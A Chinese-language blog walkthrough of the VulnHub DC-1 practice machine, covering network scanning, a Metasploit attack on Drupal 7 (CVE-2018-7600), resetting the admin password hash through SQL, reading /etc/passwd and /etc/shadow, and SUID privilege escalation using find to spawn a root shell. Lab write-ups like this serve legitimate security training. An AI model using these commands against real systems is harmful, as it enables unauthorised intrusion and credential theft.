vulnhub系列 DC1 靶机

文章目录

    • 闲扯
    • 搭建
    • 开始
    • 总结

闲扯

自己的电脑太拉跨了(虽然是好几千块钱的游戏本),一直不能同时开kali和靶机,导致一直想做vulnhub而么的办法= =来公司实习后,配了台高配的电脑,大爱,感谢。

搭建

开启小飞机之后,访问https://www.vulnhub.com/entry/dc-1,292/,下载下来:(DC1不用开小飞机也下的很快,注意不要和defcon-1弄混了- -我弄混了之后,研究了好久,怎么和别人的不一样)
vulnhub系列 DC1 靶机_第1张图片(因为我在公司,所以不好使用桥接模式,nat模式也是可以的,在一个网段下就行)
vulnhub系列 DC1 靶机_第2张图片
可能会出现kali扫描的时候发现不了靶机ip,重启一遍虚拟机就好。

开始

先探测局域网内的存活ip:也可以用nmap,不过感觉这个快一些。
arp-scan -l
vulnhub系列 DC1 靶机_第3张图片
理所当然的探测端口:
nmap -sS -v 192.168.146.130
vulnhub系列 DC1 靶机_第4张图片发现80端口使用了drupal 7,刚好在我为数不多的 复现分析的漏洞里。CVE-2018-7600 Drupal 远程代码执行漏洞分析复现
在这里插入图片描述

vulnhub系列 DC1 靶机_第5张图片我用自己的payload没打下来,迷惑。
msf一把梭:
search cve-2018-7600
use ......
show options
set RHOST 目标ip
run
vulnhub系列 DC1 靶机_第6张图片康康自己的权限,意料之中:
getuid
在这里插入图片描述
依稀记得有个setsystem,但是却发现命令不存在?要了我的老命,版本原因。
vulnhub系列 DC1 靶机_第7张图片进shell看一下:
vulnhub系列 DC1 靶机_第8张图片
因为说了有5个flag的,我现在去看看第一个能不能找到了,就在当前目录下:
vulnhub系列 DC1 靶机_第9张图片
first blood:
在这里插入图片描述
提示我们要去找配置文件,百度一搜就是这:
vulnhub系列 DC1 靶机_第10张图片
flag2到手??看了一下,有提示:
vulnhub系列 DC1 靶机_第11张图片
掏出我的百度翻译:
在这里插入图片描述不晓得啥意思,让我们提权的意思?我们拿到了数据库账号密码,可能是让我们通过数据库提权?
vulnhub系列 DC1 靶机_第12张图片
连接数据库:
发现直接在shell里连接是没反应的:
vulnhub系列 DC1 靶机_第13张图片
直接连接也不行:
mysql -h 192.168.146.130 -u dbuser -p R0ck3t;
在这里插入图片描述
看了答案说,通过python加载一个python提供的标准shell:
python -c "import pty;pty.spawn('/bin/bash')"
vulnhub系列 DC1 靶机_第14张图片
show databses; 查看数据库名:
vulnhub系列 DC1 靶机_第15张图片
使用drupaldb数据库并查看有哪些表:
use drupaldb;
show tables;
vulnhub系列 DC1 靶机_第16张图片

看到结果里有个watchdog,感觉有点与众不同,实际上没卵用:
在这里插入图片描述
没看到有特殊的提示,那肯定先看用户了:(一开始也是查了一些没用的数据的,
本来觉得可以写循环遍历查找flag3的,但是感觉太麻烦了。)
vulnhub系列 DC1 靶机_第17张图片select * from role,node;
vulnhub系列 DC1 靶机_第18张图片
我习惯性的想写个shell:失败。
在这里插入图片描述
我一开始的确是根据提示,想着怎么提权来着,但是太菜了,先替换掉管理员的密码吧:(其实不止一种方法)
我之前用自己payload测试的时候,注册了一个账号:(但是后来突然想起来,密码是随机生成的,头大)
vulnhub系列 DC1 靶机_第19张图片
更新管理的密码,竟然可以成功:
在这里插入图片描述select * from users;
vulnhub系列 DC1 靶机_第20张图片
突然发现自己也不知道密码是啥,毕竟靶机,不能接收邮件改自己的密码;还是要去调用加密脚本啊。。。。
这里不知道什么毛病,我先进scripts目录,再调用脚本是不行的:
vulnhub系列 DC1 靶机_第21张图片
然后我退出去调用,发现可以= =
./scripts/password-hash.sh 123456
在这里插入图片描述
回去再更新一遍:(真的手贱啊,复制老是喜欢按ctrl+c,老是退出到meterpreter)
update users set pass="$S$DsilJYj0DZUjqVvQBVt72POhIUf/Wh9rj1f6pjDrznjcfhJLzJ29" where name="admin";
vulnhub系列 DC1 靶机_第22张图片
去网页上登录成功:
vulnhub系列 DC1 靶机_第23张图片
在content里找到flag3:
vulnhub系列 DC1 靶机_第24张图片
vulnhub系列 DC1 靶机_第25张图片
然后查看passwd,shadow文件?
cat /etc/passwd
vulnhub系列 DC1 靶机_第26张图片
最后一行看到了提示,在home目录下有flag4:(能直接看?我试了试find命令,发现用了没反应= =,我没权限使用这个?)
cat /home/flag4.txt
在这里插入图片描述果然要提权:
在这里插入图片描述
suid提权:
什么是suid?通俗的理解为其他用户执行这个程序的时候,可以用该程序所有者/组的权限去执行它。

已知的可用来提权的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

#以下命令是用来查找具有root权限的,配置了suid的文件,不同系统对应不同的命令
find / -perm -u=s -type f 2>/dev/null

这个命令表示,从 / 目录中查找具有 suid 权限位 的 且 属于 root的文件,并输出他们,然后将所有错误重定向到/dev/null,从而就列出该用户具有访问权限的那些二进制文件。
(-perm表示匹配具有suid权限的文件进行输出)

find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

发现只有find命令可以让我们利用:
vulnhub系列 DC1 靶机_第27张图片在这里插入图片描述
find ./ aaa -exec '/bin/sh' \;
vulnhub系列 DC1 靶机_第28张图片没看到有最后一个flag的提示啊:
cat /etc/shadow
vulnhub系列 DC1 靶机_第29张图片发现我已经是root了,还是执行find命令没反应:
vulnhub系列 DC1 靶机_第30张图片
发现是/bin目录下根本么的find命令= =,而且发现locate命令也么的,而我自己的kali上是有的:
vulnhub系列 DC1 靶机_第31张图片

依稀记得上面好像提醒过,root目录下:
cat /root/thefinalflag.txt
vulnhub系列 DC1 靶机_第32张图片

总结

好不容易,终于有机会能打靶机了,做的过程中思路还是有的,只不过很多技术、语法等等的事情,都需要百度,失败= =而且提权接触的少,思维非常固化。建议复制的时候多用ctrl+c,那样的话,你只需要做一次靶场,就能深刻记住使用的命令,hhh,太痛苦了。

你可能感兴趣的:(实战/模拟,内网渗透)